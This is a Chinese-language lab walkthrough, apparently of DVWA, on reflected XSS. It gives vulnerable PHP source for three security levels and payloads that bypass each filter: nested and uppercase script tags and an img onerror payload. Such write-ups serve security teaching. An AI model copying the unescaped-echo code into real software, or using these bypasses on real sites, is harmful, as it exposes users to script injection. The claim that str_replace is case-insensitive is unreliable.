XSS
XSS的实质其实是HTML代码与Javscript代码的注入。但由于XSS的攻击对象是与客户对等的Browser端,因此常常不被开发者所重视。
一般意义上的XSS通常可以用简单的方法检测出来:当用户输入中某个参数的全部或其中一部分,原封不动地在源代码里出现时,我们就可以认为这个参数存在XSS漏洞。
反射性XSS
恶意代码并没有保存在目标网站,而是通过引诱用户点击一个恶意链接来实施攻击。
主要特征:
- 恶意脚本附加到 url 中,只有点击此链接才会引起攻击;
- 不具备持久性,即只要不通过这个特定 url 访问,就不会有问题;
- xss漏洞一般发生于与用户交互的地方。
low
源码:
<?php
header ("X-XSS-Protection: 0");
// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
// Feedback for end user
echo '<pre>Hello ' . $_GET[ 'name' ] . '</pre>';
}
?>
可以看到,代码直接引用了name参数,并没有任何的过滤与检查,存在明显的XSS漏洞。
对话框输入<script>alert("xss")</script>
,弹窗成功,证明存在该漏洞;
Medium
源码:
<?php
header ("X-XSS-Protection: 0");
// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
// Get input
$name = str_replace( '<script>', '', $_GET[ 'name' ] );
// Feedback for end user
echo "<pre>Hello ${name}</pre>";
}
?>
由array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL
可看出代码将我们输入内容中的 <script>
标签替换为了空,对<script>
进行了过滤。
str_replace:不区分大小写的,而且只替换一次,所以我们构造payload来绕过这个函数。
<scr<script>ipt>alert("xss")</script>
或
<SCRIPT>alert("xss")</SCRIPT>
High
源码:
<?php
header ("X-XSS-Protection: 0");
// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
// Get input
$name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $_GET[ 'name' ] );
// Feedback for end user
echo "<pre>Hello ${name}</pre>";
}
由$name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i'
,可知我们就不能使用大小写绕过和重写的方法来绕过了。无法使用<script>
标签注入XSS代码,但是可以通过img、body等标签的事件或者iframe等标签的src注入恶意的js代码。这样就会避免出现<script>
标签被正则表达式匹配到。
我们构造payload来绕过这个函数
<img src=x onerror=alert('xss')>